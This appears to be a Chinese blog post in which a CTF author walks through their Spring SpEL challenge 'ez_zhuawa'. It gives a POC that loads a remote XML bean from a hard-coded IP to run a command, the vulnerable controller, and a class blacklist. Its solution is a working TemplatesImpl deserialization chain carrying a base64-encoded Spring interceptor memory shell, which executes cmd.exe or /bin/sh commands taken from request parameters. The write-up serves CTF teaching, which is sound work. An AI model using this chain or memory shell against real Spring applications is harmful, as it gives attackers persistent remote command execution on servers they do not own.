ez_zhuawa出题记录
真爱和自由 发表于 四川 历史精选 658浏览 · 2024-12-21 07:44

ez_zhuawa出题记录

前言

之前打xctf分站赛的时候有一道题,2024 xctf finall ezspel,这个题出题的思路也是通过在SimpleEvaluationContext的条件下,如果能控制root对象,我们就能实现恶意利用

但是这个题不管原理的话就是会调用root对象的getter方法

ezspel的考察点

POC

package com.ctf.ezspel.controller;

import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

import java.lang.reflect.Array;

/* loaded from: Util.class */
public class Util {
    public static void main(String[] args) {

        buildArray("org.springframework.context.support.ClassPathXmlApplicationContext","#root[0]='http://49.232.222.195:8000/poc.xml'");

    }
    public static String buildArray(String name, String expr) {
        try {
            Class clazz = Class.forName(name);
            Object array = Array.newInstance((Class<?>) clazz, 1);
            Object object = Util.eval(array, expr);
            return object.getClass().getName();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }
}

远程xml文件

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
</beans>

可以看到是考察的是调用构造函数的

关键的过程是在

root对象不是基础类型,所以会来到最后的else,进入convertValue方法

private void setArrayElement(TypeConverter converter, Object ctx, int idx, @Nullable Object newValue, Class<?> arrayComponentType) throws EvaluationException {
    if (arrayComponentType == Boolean.TYPE) {
        boolean[] array = (boolean[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Boolean)this.convertValue(converter, newValue, Boolean.TYPE);
    } else if (arrayComponentType == Byte.TYPE) {
        byte[] array = (byte[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Byte)this.convertValue(converter, newValue, Byte.TYPE);
    } else if (arrayComponentType == Character.TYPE) {
        char[] array = (char[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Character)this.convertValue(converter, newValue, Character.TYPE);
    } else if (arrayComponentType == Double.TYPE) {
        double[] array = (double[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Double)this.convertValue(converter, newValue, Double.TYPE);
    } else if (arrayComponentType == Float.TYPE) {
        float[] array = (float[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Float)this.convertValue(converter, newValue, Float.TYPE);
    } else if (arrayComponentType == Integer.TYPE) {
        int[] array = (int[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Integer)this.convertValue(converter, newValue, Integer.TYPE);
    } else if (arrayComponentType == Long.TYPE) {
        long[] array = (long[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Long)this.convertValue(converter, newValue, Long.TYPE);
    } else if (arrayComponentType == Short.TYPE) {
        short[] array = (short[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = (Short)this.convertValue(converter, newValue, Short.TYPE);
    } else {
        Object[] array = (Object[])ctx;
        this.checkAccess(array.length, idx);
        array[idx] = this.convertValue(converter, newValue, arrayComponentType);
    }

}

会调用ObjectToObjectConverter的convert方法

ez_zhuawa考察点

而这道题其实是基于ezspel考察的,当时是发现了还可以调用root对象的getter方法

可以通过如下代码测试

package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class SpelExample {
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates =new TemplatesImpl();
        byte [] code = Files.readAllBytes(Paths.get("Test.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        // 使用eval方法获取name属性
        String name = (String) eval(templates, "outputProperties");
        System.out.println("Name: " + name);

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Test.class内容

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

关键点分析

getValueInternal:104, PropertyOrFieldReference

其中关键代码如下

`TypedValue result = readProperty(contextObject, evalContext, this.name);`

然后跟进readProperty方法,传入的参数进入 return accessor.read(evalContext, contextObject.getValue(), name); 有反射那味道了,进入read方法 调用了我们的public abstract java.util.Properties javax.xml.transform.Templates.getOutputProperties()方法

至于method如何控制可以去调试调试

出题考虑

首先我就是基于上面的结构改的代码,然后为了防止再次调用构造方法触发的恶意利用,然后对接的时候线下是不出网的,所以我但是都没有ban一些类

但是最后因为在酒店,设备等问题,只能出网了

路由代码

package org.example.GCCTF.controller;
import org.example.GCCTF.SecurityObjectInputStream;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
@Controller
@RequestMapping("/eval")
public class SpelController {
    @GetMapping("/execute")
    @ResponseBody
    public String welcome() {
        return "<html>" +
                "<head>" +
                "<title>欢迎</title>" +
                "<style>" +
                "body { " +
                "    margin: 0; " +
                "    height: 100vh; " +
                "    display: flex; " +
                "    justify-content: center; " +
                "    align-items: center; " +
                "    font-family: Arial, sans-serif; " +
                "    font-size: 3em; " +
                "    background: linear-gradient(270deg, #ff9a9e, #fad0c4, #ffd1ff, #a1c4fd, #c2e9fb, #fef253, #ff7300); " +
                "    background-size: 400% 400%; " +
                "    animation: gradient 15s ease infinite; " +
                "}" +
                "@keyframes gradient {" +
                "    0% { background-position: 0% 50%; }" +
                "    50% { background-position: 100% 50%; }" +
                "    100% { background-position: 0% 50%; }" +
                "}" +
                "</style>" +
                "</head>" +
                "<body>" +
                "<h1>欢迎来到我的挑战,但是我可不会为难你们的QAQ</h1>" +
                "</body>" +
                "</html>";

    }

    @PostMapping("/execute")
    @ResponseBody
    public String executeEval(@RequestParam("data") String base64code,
                              @RequestParam("param") String param) throws Exception {
        try {
            String res = (String) eval(deserialize(base64code), param);

        } catch (SecurityException ex) {
            throw new SecurityException("反序列化过程中检测到安全问题:" + ex.getMessage());
        }
        return "hello";
    }
    public static Object eval(Object root, String expr) {
        SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(expr);
        return expression.getValue(context, root);
    }

    public static Object deserialize(String base64String) throws IOException, ClassNotFoundException {
        String data1= Arrays.toString(Base64.getDecoder().decode(base64String));
        if (data1.contains("bash") || data1.contains("echo")) {
            throw new IllegalArgumentException("怎么说,是不是要打内存马了");
        }
        byte[] data = Base64.getDecoder().decode(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             SecurityObjectInputStream in = new SecurityObjectInputStream(bais)) {
            return in.readObject();
        }
    }
}

但是想着怎么限制不能反弹shell,去打内存马,但是最后还是算了,只能降低难度反弹shell秒了

这里我防了一手直接有人用反序列化秒了

所以禁用了一些常见的入口类

package org.example.GCCTF;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.lang.reflect.InvocationHandler;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.List;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.*;

public class SecurityObjectInputStream extends ObjectInputStream {
    private List<String> restrictedClasses;

    public SecurityObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
        this.restrictedClasses = new ArrayList<>();
        this.restrictedClasses.add(POJONode.class.getName());
        this.restrictedClasses.add(BadAttributeValueExpException.class.getName());
        this.restrictedClasses.add(InvocationHandler.class.getName());
        this.restrictedClasses.add(SignedObject.class.getName());
        this.restrictedClasses.add(RMIConnector.class.getName());
        this.restrictedClasses.add(HashMap.class.getName());
        this.restrictedClasses.add(Hashtable.class.getName());
        this.restrictedClasses.add(ClassPathXmlApplicationContext.class.getName());
        this.restrictedClasses.add(FileSystemXmlApplicationContext.class.getName());
        this.restrictedClasses.add(JdbcRowSetImpl.class.getName());
        this.restrictedClasses.add(XString.class.getName());
        this.restrictedClasses.add(UIDefaults.class.getName());

    }
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (this.restrictedClasses.contains(desc.getName())) {
            throw new SecurityException("Detected restricted class: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}

ban了ClassPathXmlApplicationContext和FileSystemXmlApplicationContext防止再次通过构造方法的非预期,当然还有一种解法就是找其他的,我是没有找到的

POJONode防一手原生的jackson反序列化

HashMap,Hashtable

这个常用的入口类

WP

简单来说会调用a对象的b方法,所以我们可以选择a对象为TemplatesImpl,b方法为getOutputProperties

可以动态字节码加载

只需要打一个内存马就可以了

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

public class inject extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);

            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);

            String className = "com.example.spring.magicInterceptor";
            //加载com.example.spring.magicInterceptor类的字节码
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Util {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates =new TemplatesImpl();
        byte [] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CTF\\ctets\\target\\classes\\inject.class"));
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        serialize(templates);

    }
    public static String serialize(Object obj) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(obj);
            byte[] serializedBytes = baos.toByteArray();
            System.out.println(Base64.getEncoder().encodeToString(serializedBytes));
            return Base64.getEncoder().encodeToString(serializedBytes);
        }
    }
    public static Object deserilize(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String);
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream in = new ObjectInputStream(bais)) {
            return in.readObject();
        }
    }
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

1 条评论
某人
表情
可输入 255